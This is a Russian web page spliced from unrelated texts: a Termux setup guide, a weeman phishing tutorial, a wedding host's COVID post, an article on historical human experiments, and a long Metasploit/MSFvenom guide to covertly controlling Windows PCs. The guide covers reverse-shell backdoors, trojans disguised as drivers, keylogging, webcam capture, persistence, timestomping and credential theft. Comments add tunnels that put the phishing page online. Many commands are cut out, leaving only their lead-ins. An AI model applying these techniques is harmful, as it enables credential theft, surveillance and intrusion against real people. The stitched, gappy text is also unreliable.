Как сделать свой вирус при помощи termux
Для начала определимся, что это за зверь такой Termux, и что он может. На главной странице WikiTermux (рекомендую ознакомиться) говорится, что “Termux — это эмулятор терминала и среда Linux”, т.е. установив его мы получим вполне работоспособный Linux терминал на своем Android устройстве. Несомненным плюсом является работа в виртуальном окружении (многое можно делать без root'а), благодаря чему навредить файловой системе Android практически нереально. А при наличии root'а ваши возможности ограничены только фантазией (ну и знанием матчасти).
За каким, собственно говоря, я полез к Termux'у? Во-первых хакинг, точнее желание немного в нем разобраться. Во-вторых отсутствие возможности пользоваться Kali Linux'ом.
Тут я постараюсь собрать воедино все полезное найденное мной по теме. Разбирающегося эта статья вряд ли чем удивит, но тем кто только познает прелести Termux'а, надеюсь, будет полезна.
Для лучшего понимания материала рекомендую повторять описанное мной не простой копипастой а самостоятельно вводить команды. Для удобства нам понадобится либо Android устройство с подключенной клавиатурой, либо как в моем случае Android устройство и ПК/Ноутбук (Windows) подключенные к одной сети. Android желательно с root'ом, но не обязательно. Иногда я что-то указываю в скобках, обычно, это позволит лучше понять материал (если написанное в скобках не совсем понятно, то смело пропускайте это, потом в процессе и по мере необходимости все разъяснится).
Шаг 1
Ставим Termux c Google Play Market:
Открываем установленное приложение и видим:
Далее стоит обновить предустановленные пакеты. Для этого по порядку вводим две команды, по ходу выполнения которых со всем соглашаемся, вводя Y:
Первой командой мы проверяем список установленных пакетов и ищем те, которые можно обновить, а второй обновляем их. По этой причине команды нужно писать именно в такой последовательности.
Теперь у нас наиболее свежая версия Termux.
Более подробно по командам UNIX ищем в интернете (саморазвитие никто не отменял).
Сочетание клавиш Ctrl + C и Ctrl + Z прерывает и прекращает выполнение команд соответственно.
Шаг 2
- Подключить к Android устройству полноценную клавиатуру любым удобным способом.
- Воспользоваться ssh. Проще говоря, у вас на компьютере будет открыта консоль Termux'а запущенного на вашем Android устройстве.
Я пошел по второму пути, хотя он и немного сложен в настройке, но все окупится удобством использования.
На компьютере необходимо установить программу ssh клиент, я пользуюсь Bitvise SSH Client, и все дальнейшие действия совершаются в этой программе.
Поскольку мы будем подключаться по методу Publickey с использованием файла-ключа, необходимо этот файл создать. Для этого в программе Bitvise SSH Client на вкладке Login щелкаем по Client key manager в открывшемся окне генерируем новый публичный ключ и экспортируем его в OpenSSH формате в файл с названием termux.pub (на самом деле можно любое название). Созданный файл помещаем во внутреннюю память вашего Android устройства в папку Downloads (к этой папке, и еще к нескольким, Termux имеет упрощенный доступ без root).
Во вкладке Login в поле Host вводим IP вашего Android устройства (узнать можно введя в Termux команду ifconfig) в поле Port должно быть 8022.
Теперь переходим к установке OpenSSH в Termux, для этого вводим следующие команды:
Возвращаемся к Bitvise SSH Client и нажимаем кнопку Log in. В процессе подключения появится окно, в котором выбираем Method – publickey, Client key это Passphrase (если вы ее указали при генерации файла-ключа).
В случае успешного подключения (если все сделали, как написано, то должно подключиться без проблем) откроется окно.
Теперь мы можем вводить команды с ПК а выполняться они будут на вашем Android устройстве. Не сложно догадаться какие это дает преимущества.
Прежде всего давайте установим bash-completion (сокращалку, волшебный-Tab, кто как называет). Суть утилиты в том что, вводя команды вы можете нажав Tab воспользоваться автозаполнением. Для установки пишем:
Ну что за жизнь без текстового редактора с подсветкой кода (если вдруг захочется покодить, а оно захочется). Для установки пишем:
Пользоваться vim`ом не сложно, чтобы открыть файл 1.txt (если его нет, то он создастся) пишем:
Раз мы теперь можем создавать и редактировать файлы, давайте немного улучшим вид и информативность командной строки Termux'а. Для этого нам нужно присвоить переменной окружения PS1 значение "[\033[1;33;1;32m]:[\033[1;31m]\w$ [\033[0m][\033[0m]" (если интересно что это и с чем его едят, прошу сюда). Чтобы это сделать нам нужно в файл '.bashrc' (лежит в корне и выполняется при каждом запуске оболочки) добавить строку:
Для простоты и наглядности воспользуемся vim`ом:
Вписываем строку, сохраняем и выходим.
Добавить строку в файл можно и другим способом, воспользовавшись командой ‘echo’:
В файл .bashrc так же можно вписать alias’ы – сокращения. Например мы хотим одной командой проводить update и upgrade сразу. Для этого в .bashrc добавляем строку:
Для внесения строки можно воспользоваться vim’ом или командой echo (если не получается самостоятельно – см. ниже)
Синтаксис alias’ов таков:
Итак, добавляем сокращение:
Ставить через apt install
man — Встроенная справка для большинства комманд.
man %commandname
imagemagick — Утилита для работы с изображениями(конвертирование, сжатие, обрезка). Поддерживает много форматов включая pdf.Пример: Сконвертировать все картинки из текущей папки в один pdf и уменьшить их размер.
convert *.jpg -scale 50% img.pdf
ffmpeg — Один из лучших конвертеров аудио/видео. Инструкцию по использованию гуглите.
mc — Двухпанельный файловый менеджер наподобие Far.
Впереди еще немало шагов, главное что движение начато!
Сразу же хочу сказать, что предложенная внизу информация предоставлена только для ознакомления и с целью обезопасить людей от мошенничества в сети. Использование ее в личных целях карается УК РФ
"УК РФ Статья 159.6. Мошенничество в сфере компьютерной информации"
Для начала, думаю, расскажу про фишинг
Википедия говорит: "Фишинг (англ. phishing, от fishing — рыбная ловля, выуживание) — вид интернет-мошенничества, целью которого является получение доступа к конфиденциальным данным пользователей — логинам и паролям."
Для фишинга мы будем использовать программу для kali linux-weeman. "Чел, что за фигня? Ты обещал, что мы будем использовать android!"- скажете Вы. Да, обещал, терпения. Для запуска weeman на вашем устройстве мы будем использовать консоль termux.
Многие называют Termux лучшим эмулятором linux, солидарен. Скачиваем и открываем. Для удобства использования терминала советую скачать дополнительную клавиатуру Hacker's Keyboard, позже поймёте для чего.
Начинаем подготовку к установке, вводим в консоль последовательно две команды:
$ apt update
$ apt install
Эта операция может занять некоторое время, зависит от скорости интернета.
Далее:
$ apt install git
Появляется вопрос "Do yo want to contiune? [Y/n]". Да, мы желаем продолжить, вводим маленькую "y" (это значит yes).
Следующая команда:
$ apt install python2
Снова появиться вопрос "Do yo want to contiune? [Y/n]". Поступаем аналогично.
Этой командой мы установили python (язык программирования), на котором написан weeman.
Готово, мы установили все, что требуется для запуска weeman.
Скачаем weeman:
Отлично, пропишем команду:
Она выводит содержимое каталогов.
Если после этой команды у Вас ничего не появилось в консоли, то попробуйте повторить пункты вверху.
Если все так же как у меня, то продолжим:
Появились эти файлы. Запускаем weeman:
ПАУ! У нас получилось, установка прошла успешно и мы запустили weeman.
Что бы вывести в консоль помощь по командам пишем:
Теперь надо поставить некоторые настройки (на примере Яндекса). Введём следующие команды:
Первой командой мы установили адрес сайта, который мы хотим скопировать.
Второй командной установливаем порт.
Третья команда определяет адрес на который будет кидать человека, предоставившего свои данные
Прописываем show, проверяем правильность установленных настроек:
Все верно, продолжаем:
Все, готово. Сервер запущен, вот его адрес
Копируем "http://localhost:8080" и вводим в браузер, но на телефоне (Сейчас этот сервер локальный и существует только на вашем устройстве)
Будьте аккуратны в сети, никогда не вводите личные данные на сомнительные ресурсы
То есть суть фиша в том, что ты предлагаешь жертве войти у тебя на телефоне в сервис, "да потом выйдешь и всё, главное 'запомнить меня' галочку не ставь"? Адресная строка подзапалит.
а снифать канал такими же простыми средствами можно? Чтобы узнать на какой адрес:порт ломится приложение, например?
Я правильно понимаю, что если я раздам вайфай с телефона, к нему кто-нибудь подключится и залогинится на яндексе, я получу логин и пасс?
2 года прошло, а следующего поста нет
Как weeman скачать.
Для того чтобы выложить наш сайт в интернет надо открыть следующую вкладку и написать
pkg install openssh
После установки пишем ssh -R 80:localhost:8080 ssh.localhost.run -l <ваш домен>
Пример:
ssh -R 80:localhost:8080 ssh.localhost.run -l test
Получится сайт: test.localhost.run
дайте мне ПРОДОЛЖЕНИЕ
Запуск на локальном сервере не особо эффективен, ибо никто кроме тебя с твоего телефона не сможет попасть на фишинг страницу. Но можно тунелировать трафик с помощью ngrok
А где находится локальный сервер?(В какой папке)
Для этого ещё нужен и рут на устройстве по-любому
Записки ведущего #46 Баста, карапузики, кончилися танцы
Привет всем моим подписчикам и Пикабутянам! Я пишу о праздниках и около праздничной суете.
В стране бушует вирус, и эта тема коснулась нашей братии на 146%. Сейчас я приоткрою завесу тайны о настроениях за кулисами организаторов и ведущих торжеств.
Для начала о моей ситуации на апрель:
👉 10.04 Юбилей
👉 11. 04 Свадьба
👉 12.04 Квиз в ресторане
Всё полетело к чертям.
100% Отмены.
👉 18.04 Свадьба
👉 25.04 Свадьба
👉 30.04 Свадьба
Под бооольшим вопросом.
Все чаты ведущих и организаторов переполнены паникой. Коллеги обсуждают как сохранить свои мероприятия. Обсуждают тему возврата или невозврата предоплат.
Прекрасно понимаю, что долгое ожидание торжества со стороны невест, и финансовая нестабильность со стороны подрядчиков побуждает людей на не самые светлые поступки :
Но дело даже не в том, чтобы отгулять долгожданное событие или получить гонорар. Суть в том, что в угоду своих желаний, не стоит отправляться в общественные места пренебрегая опастностью заражения себя и близких.
Вчера вечером я принял решение, что на свои торжества в апреле я не поеду и либо предложу провести свои мероприятия коллегам, либо верну предоплату.
У меня двое детей и если заражусь, то мы с супругой поедем на 21 день во взрослый карантин, а дети (7, 5 лет и грудничёк 6ти месяцев) в детский стационар. Так себе перспектива.
Интернет переполнен видео где вместо того, чтобы сидеть по домам-люди жарят шашлык, а другие делают про первых видеообзоры и гуляют в центре города. Сколько из них уже стало потенциальными носителями?
Я вас очень прошу- не гуляйте на торжествах, как минимум в ближайший месяц. Оградите себя и своих близких. Всё это через несколько месяцев обязательно закончится и тогда хоть неделю веселитесь. Тем более, по окончании всей этой истории праздник вам выйдет значительно дешевле 😁
Не давайте вирусу повода и всё будет лучше.
Радость от мимолётного торжества может нивелироваться последствиями, о которых (возможно) придётся Горько пожалеть.
Карбоновые нити
Четыре случая, когда наука зашла слишком далеко
Авиационный врач Зигфрид Руфф был одним из тех, кто предстал в качестве главного обвиняемого на Нюрнбергском процессе над врачами. Ему было предъявлено обвинение в проведении экспериментов над людьми в концентрационном лагере Дахау.
В частности, по заданию люфтваффе в концлагере изучалось, что происходит с пилотом подбитого самолета, когда тот катапультируется с большой высоты и попадает в ледяную морскую воду. Для этого в концлагере была смонтирована камера, в которой можно было смоделировать свободное падение с высоты в 21 тысячу метров. Также заключенных погружали в ледяную воду. В результате из 200 подопытных погибло 70−80.
Страгхолд ушел со своего поста в НАСА в 1968 году и умер в 1986 году. Однако в 90-х всплыли документы американской разведки, где имя Страгхолда указывалось среди других разыскиваемых военных преступников. Так что в 1993 году по просьбе Всемирного еврейского конгресса портрет ученого был снят со стенда выдающихся врачей в Университете штата Огайо, а в 1995 году переименовали уже упомянутую библиотеку.
В 2004 году было представлено расследование Исторического комитета Немецкого общества воздушной и космической медицины. В его ходе были обнаружены доказательства экспериментов по депривации кислорода, которые проводил институт, где с 1935 года трудился Страгхолд.
Хотя, в отличие от экспериментов в Дахау, все испытуемые выжили в процессе исследования, это открытие привело к тому, что Общество воздушной и космической медицины отменило крупную награду, носящую имя Страгхолда. До сих пор неизвестно, руководил ли ученый планированием экспериментов, или же он работал исключительно с полученной информацией.
По окончании войны ряд военнослужащих Квантунской армии, причастных к созданию и работе отряда, были осуждены в ходе Хабаровского процесса в местном Доме офицеров Советской армии. Однако позднее некоторые сотрудники этого в прямом смысле слова ада на земле получили ученые степени и общественное признание. Например, бывшие начальники отряда Масадзи Китано и Сиро Исии.
Особенно показателен здесь пример Исии, который в конце войны бежал в Японию, перед этим постаравшись замести следы и уничтожить лагерь. Там он был арестован американцами, однако в 1946 году по ходатайству генерала Макартура власти США предоставили Исии иммунитет от преследования взамен на данные об исследованиях биологического оружия, основанных на тех самых экспериментах над людьми.
Опыты с зарином на военных
Зарин был открыт в 1938 году двумя немецкими учеными, пытавшимися получить более мощные пестициды. Это третье по токсичности после зомана и циклозарина ядовитое вещество G-серии, созданное в Германии.
Рано или поздно это должно было плохо закончиться. И жертвой стал 20-летний Рональд Мэддисон, инженер Военно-воздушных сил Великобритании. В 1953 году он умер при испытании зарина в научно-технической лаборатории Портон-Даун в Уилтшире. Причем бедняга даже не знал, на что идет, ему сказали, что он участвует в эксперименте по лечению насморка. Видимо, он начал что-то подозревать только когда ему выдали респиратор, приклеили к предплечью два слоя ткани, используемой в военной форме, и нанесли на нее 20 капель зарина по 10 мг каждая.
Радиоактивный человек, который ничего не знал об эксперименте над собой
Этот эксперимент был проведен в 1945 году, и его жертвой стал один человек. Но все равно цинизм опыта потрясает. Альберт Стивенс был обычным маляром, но в историю вошел как пациент CAL-1, который пережил самую высокую из известных накопленных доз облучения у любого человека.
В отличие от радия, плутоний-238 и плутоний-239 чрезвычайно трудно обнаружить внутри организма. Пока человек жив, самый простой способ — это проанализировать его мочу и кал, правда, этот метод тоже имеет свои ограничения.
Так что ученые решили, что им нужно как можно скорее разработать программу для надежного способа обнаружения этого металла в теле человека. Они начали в 1944 году с животных, а в 1945-м одобрили три испытания на людях. Альберт Стивенс стал одним из участников.
Мужчине вводили смесь изотопов плутония, которая, как полагалось, должна была стать смертельной: современные исследования показывают, что Стивенсу, который весил 58 килограммов, ввели 3,5 мкКи плутония-238 и 0,046 мкКи плутония-239. Но, тем не менее, он продолжал жить.
Никто так и не сообщил Стивенсу, что у него не было рака, или что он стал частью эксперимента. Мужчина получил приблизительно 6400 бэр через 20 лет после первой инъекции, или около 300 бэр в год. Для сравнения — сейчас ежегодная доза для радиационных работников в США составляет не больше 5 бэр. То есть, годовая доза Стивена превышала это количество примерно в 60 раз. Это словно постоять 10 минут рядом с только что взорвавшимся Чернобыльским реактором.
Но благодаря тому, что Стивенс получал дозы плутония постепенно, а не одномоментно, он умер лишь в 1966 году в возрасте 79 лет (хотя его кости стали деформироваться из-за радиации). Его кремированные останки в 1975 году отправили в лабораторию для изучения и так и не вернулись в часовню, где лежали до тех пор.
История Стивенса была подробно описана лауреатом Пулитцеровской премии Айлин Уэлсом в 90-х годах. Так, в 1993-м она опубликовала серию статей, в которых подробно описала истории CAL-1 (Альберт Стивенс), CAL-2 (четырехлетний Симеон Шоу) и CAL-3 (Элмер Аллен) и других, выступивших подопытными в экспериментах с плутонием. После этого тогдашний президент США Билл Клинтон приказал сформировать Консультативный комитет по экспериментам с радиацией на человеке для проведения расследования. Всем пострадавшим или их семьям должны были быть выплачены компенсации.
Этичный хакинг и тестирование на проникновение, информационная безопасность
Оглавление
1. Введение
В этой заметке будет рассмотрен вопрос скрытого управление компьютером на Windows.
Указанная задача может быть решена различными способами. В том числе с применением легитимных программ – к примеру, VNC серверами, TeamViewer (если добавить в автозапуск и скрыть отображение иконки в трее), а также специализированного ПО, в том числе коммерческого. Здесь будет показано, как контролировать чужой компьютер используя Metasploit.
Статья не охватывает проблему доставки полезной нагрузки, инфицирования компьютера жертвы и вопросы предотвращения обнаружения, в том числе антивирусами. Главная цель этого материала – взглянуть на бэкдор глазами хакера для понимания принципов работы и значения угроз. Будет показано, как получить полный доступ над файловой системой, загружать или запускать любой файл, менять разнообразные системные настройки и даже выходить за пределы компьютера: делать снимки веб-камерой, делать видео- и аудио- захват с веб-камеры.
2. Что такое полезная нагрузка (payload)
Для атакующего полезная нагрузка является ключевым элементом, который необходимо доставить на компьютер цели и выполнить. Код полезной нагрузки может быть написан самостоятельно (и это правильный подход, позволяющий значительно снизить шансы обнаружения антивирусами – в этом вы быстро убедитесь сами, если будете пробовать запускать исполнимые файлы с полезной нагрузкой в системах с установленным антивирусом), а можно воспользоваться разнообразными генераторами полезной нагрузки. Суть работы этих программ заключается в том, что вы выбираете типичную задачу (например, инициализация оболочки для ввода команд с обратным подключением), а генератор выдаёт вам исполнимый код под выбранную платформу. Если у вас нет навыков в программировании, то это единственный возможный вариант.
Одним из самых популярных генераторов полезной нагрузки является MSFvenom. Это самостоятельная часть Metasploit, предназначенная для генерации полезной нагрузки.
3. Что такое бэкдоры и трояны
Бэкдор – это программа или технология, дающая несанкционированный доступ к компьютеру или другому устройству (роутер, телефон).
В нашем случае, генерируемая с помощью MSFvenom полезная нагрузка является бэкдором.
Троян – это программа, которая замаскирована под легитимную программу, но несёт в себе полезную нагрузку. Очень часто этой полезной нагрузкой является бэкдор.
Иногда термины троян и бэкдор используют как взаимозаменяемые. Антивирусные компании при наименовании вирусов обычно используют Trojan, даже если программа не маскируется под другую легитимную программу, а является чистым бэкдором, поскольку для доставления полезной нагрузки часто используется социальная инженерия – что вполне вписывается в концепцию Троянского Коня.
Для целей этой статьи классификация на трояны и бэкдоры неважна. MSFvenom генерирует бэкдоры, но с ключом -x (позволяющим указывать пользовательский исполнимый файл для использования в качестве шаблона) можно генерировать трояны, у которых в качестве полезной нагрузки будет бэкдор.
4. Инструкция по использованию MSFvenom – генератора полезной нагрузки
Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. Она заменила две другие программы – msfpayload и msfencode, это произошло 8 июня 2015.
Знакомство с программой начнём со справки по её опциям.
В справке упоминается nopsled, вы можете найти дополнительную информацию о NOP slide в Википедии (хотя для наших целей это неважно).
5. Как создать полезную нагрузку
Для генерации полезной нагрузки обязательными являются два флага: -p and -f.
- -p windows/meterpreter/reverse_tcp – выбранный тип полезной нагрузки
- lhost=IP_атакующего – адрес атакующего, для обратного соединения с компьютера жертвы
- lport=4444 – порт, к которому будет делаться обратное соединение
- -f exe – формат полезной нагрузки (исполнимый файл Windows)
- -o /tmp/my_payload.exe – сохранить сгенерированный код в указанный файл
6. Виды полезной нагрузки MSFvenom
Как уже было сказано, флаг -p является обязательным. После него нужно указать то, чего мы хотим от полезной нагрузки.
Чтобы вывести список всех полезных нагрузок, которые поддерживает платформа Metasploit, выполните команду:
Будет выведен такой список:
Список длинный, включает в себя 538 пунктов (на момент написания) под самые разные платформы. Каждая запись состоит из двух столбцов: название полезной нагрузки (которое нужно указывать после опции -p) и её краткое описание.
Название начинается с указания платформы, затем может идти используемая техника или архитектура, в самом конце будет указана основная цель полезной нагрузки. Например, запись windows/meterpreter/reverse_tcp означает внедрение DLL сервера meterpreter через Reflective Dll Injection payload, с образованием обратного соединения до атакующего. Говоря простыми словами, будет создан реверсивный (обратный) шелл до атакующего, который позволит ему управлять целевым компьютером через meterpreter.
Слово meterpreter означает управление через Meterpreter (полное название Meta-Interpreter). Это многогранная программа, она является частью Metasploit с 2004. Работает она через dll внедрение. Скрипты и плагины загружаются и выгружаются динамически. Основы работы с Meterpreter будут раскрыты ниже.
Во многих названиях используются слова bind и reverse. Слово bind означает, что на атакуемой машине процесс будет прослушивать определённый порт, ожидая, пока атакующий подключится к нему. А reverse означает, что на атакуемой машине процесс программы сам инициализирует соединение до атакующего. Поскольку многие файерволы настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти файервол.
Ключевое слово vncinject означает задействование технологии Virtual Network Computing (VNC) – удалённого доступа к рабочему столу.
Если в имени полезной нагрузки присутствует upexec, значит её цель загрузить и выполнить исполнимый файл.
shell означает открытие командной оболочки.
Ключевое слово dllinject относится к технике Reflective DLL injection. При её использовании полезная нагрузка внедряется в запущенный процесс, прямо в оперативной памяти. При этом она никогда не касается жёстких дисков. Полезные нагрузки VNC и Meterpreter используют reflective DLL injection.
Имеется несколько специфичных полезных нагрузок:
- windows/adduser. Создаёт пользователя и добавляет его в группу локальных администраторов.
- windows/dns_txt_query_exec. Выполняет TXT запросы к ряду DNS записей и выполняет полученную полезную нагрузку.
- windows/download_exec. Загружает EXE с HTTP(S)/FTP URL и выполняет его.
- windows/exec. Выполняет произвольную команду.
- windows/format_all_drives. Форматирует все смонтированные в Windows диски (также известная как ShellcodeOfDeath). Если код по каким-либо причинам не может получить доступ к диску, то он пропускает диск и переходит к обработке следующего тома.
- windows/loadlibrary. Загружает библиотеку по произвольному пути.
- windows/messagebox. Показывает диалоговое сообщение через MessageBox, используя настраиваемый заголовок, текст и иконку.
По принципу работы, полезную нагрузку можно разделить на два типа:
Большую группу составляют полезные нагрузки, открывающие доступ к оболочке, серверу meterpreter – после их запуска пользователь должен к ним подключиться для выполнения команд.
7. Как узнать опции полезной нагрузки MSFvenom
У многих полезных нагрузок имеются опции. Для их показа применяется флаг --list-options. Также нужно использовать флаг -p, после которого нужно указать название интересующей полезной нагрузки.
Столбец Required показывает, является ли опция обязательной. Для некоторых опций предусмотрено значение по умолчанию. Если для обязательной опции отсутствует значение по умолчанию, то его нужно указать при генерации полезной нагрузки. Например, для windows/meterpreter/reverse_tcp нужно обязательно указать LHOST.
Вспомним наш пример:
8. Форматы полезной нагрузки
Как уже было сказано, вторым обязательным флагом является -f. Он устанвливает формат полезной нагрузки.
Чтобы вывести список всех поддерживаемых форматов, выполните команду:
9. Примеры генерации полезной нагрузки в MSFvenom
Один из популярных вариантов создания полезной нагрузки под Windows уже показан выше:
Чтобы узнать ваш IP адрес, вы можете, например, воспользоваться командой
Чтобы узнать внешний IP:
Поскольку я моделирую атаку в локальной сети, то я буду использовать локальный IP компьютера с Kali Linux (192.168.0.196):
И будет создан файл backdoor.exe.
Можно комбинировать несколько полезных нагрузок. Это позволяет сделать опция -c, которая указывает на файл с шеллколом win32, который должен быть включён в создаваемую полезную нагрузку.
Мы использовали полезную нагрузку windows/messagebox (создаёт диалоговое окно), эта полезная нагрузка без кодирования (-f raw) была сохранена в файл mes1.
Далее мы вновь используем windows/messagebox, и без кодирования сохраняем в файл mes2. После ключа -c мы указываем файл (mes1), который должен быть включён в создаваемую полезную нагрузку.
Наконец, уже знакомая нам команда по созданию исполнимого файла, обратите внимание на опцию -c mes2, ей мы добавляем в создаваемый бинарник ранее сгенерированный файл mes2, который уже содержит mes1:
Будет создан файл driver_dlya_tvoego_computera.exe, который при запуске покажет два окна и после этого попытается подключиться к удалённому компьютеру.
Опция -x позволяет указать существующий исполнимый файл (шаблон). Это можно делать для уменьшения подозрения пользователя (исполнимый файл может выполнять полезную для пользователя функцию), либо таким образом можно попытаться заменить уже существующий в системе файл.
Опция -k вместе с предыдущей сохранит нормальное поведение шаблона, и внедрённая полезная нагрузка будет выполняться как отдельный поток:
10. Работа с бэкдорами в Metasploit
Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.
Нужно установить настройки – IP и порт локальной машины:
Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.
Когда настройки сделаны, запустите выполнение модуля:
11. Основы работы в Meterpreter (Meta-Interpreter)
Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:
Основные команды:
Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже.
Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux:
Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe:
Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip:
Сетевые команды:
Системные команды:
Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы.
Команды пользовательского интерфейса:
Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами.
Для начала захвата нажатия клавиш введите:
Чтобы посмотреть, какие клавиши и в каких программах ввёл пользователь выполните:
Команды для управления веб-камерой:
На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните
В моём случае обнаружена одна веб-камера SC-20FHL11146M, чтобы сделать с неё снимок набираю (замените имя веб-камеры):
Будет сделана и показана фотография с веб-камеры удалённого компьютера.
Команды вывода аудио:
Команды повышения привилегий:
Команда для работы с базой данных паролей:
Команды для работы с Timestomp (временными метками файла):
Чтобы замести следы, иногда может быть полезным изменить атрибуты MACE (запись изменения, доступа, создания) файла.
12. Скрытый доступ к удалённому рабочему столу (VNC)
Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp:
Далее запустите Metasploit (если вы это ещё не сделали):
Обратите внимание, что в отличие от работы с Meterpreter, мы используем exploit/windows/smb/ms09_050_smb2_negotiate_func_index. Также нам необходимо установить IP адрес удалённого хоста (set rhost 192.168.0.244).
После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы.
В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp.
На машине атакующего должен быть установлен VNC клиент (просмотрщик).
13. Закрепление доступа
До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence:
Но в настоящее время скрипты Meterpreter считаются устаревшими, поэтому рекомендуется использовать модуль post/windows/manage/persistence_exe. Это Windows Manage Persistent EXE Payload Installer, т.е. установщик постоянной полезной нагрузки EXE в Windows.
Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USER, SYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии.
Эта команда означает, что на удалённый хост будет выгружен файл payload.exe, который на локальной системе размещён по пути /local/path/to/your/payload.exe, этот файл на удалённой системе будет переименован в default.exe и будет запущен с системными привилегиями.
Ещё один пример:
Модуль вывел следующую информацию:
Т.е. на удалённой системе файл сохранён по пути C:\Users\Alex\AppData\Local\Temp\default.exe, для автозапуска сделана запись в реестре Windows по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ.
14. Модули последующей эксплуатации Metasploit
post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows.
- post/windows/gather/enum_chrome – извлечение чувствительной информации из веб-браузера Google Chrome
- post/windows/gather/credentials/total_commander – извлечение паролей из Total Commander
- post/windows/escalate/screen_unlock – разблокировка экрана Windows (будьте осторожны с этим модулем)
- post/windows/gather/phish_windows_credentials – фишинговая атака на учётные данные Windows
Количество модулей достаточно велико:
Все эти модули можно применять во время сеанса Meterpreter.
15. Когда обратный шелл не нужен
Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его.
Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP "web shell". IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других).
Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д.
16. Заключение
Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.
В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.
Читайте также: